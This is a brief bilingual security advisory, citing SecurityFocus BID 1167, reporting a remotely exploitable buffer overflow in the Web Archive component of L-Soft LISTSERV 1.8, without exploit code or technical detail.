L-SoftLISTSERV1.8的WebArchives组件存在缓冲区溢出漏洞，远程攻击者可以利用这个漏洞执行任意命令。

source: http://www.securityfocus.com/bid/1167/info

The Web Archive component of L-Soft Listserv contains unchecked buffer code exploitable by sending specially crafted requests to the Web Archive. This weakness will allow execution of arbitrary code by remote attackers.
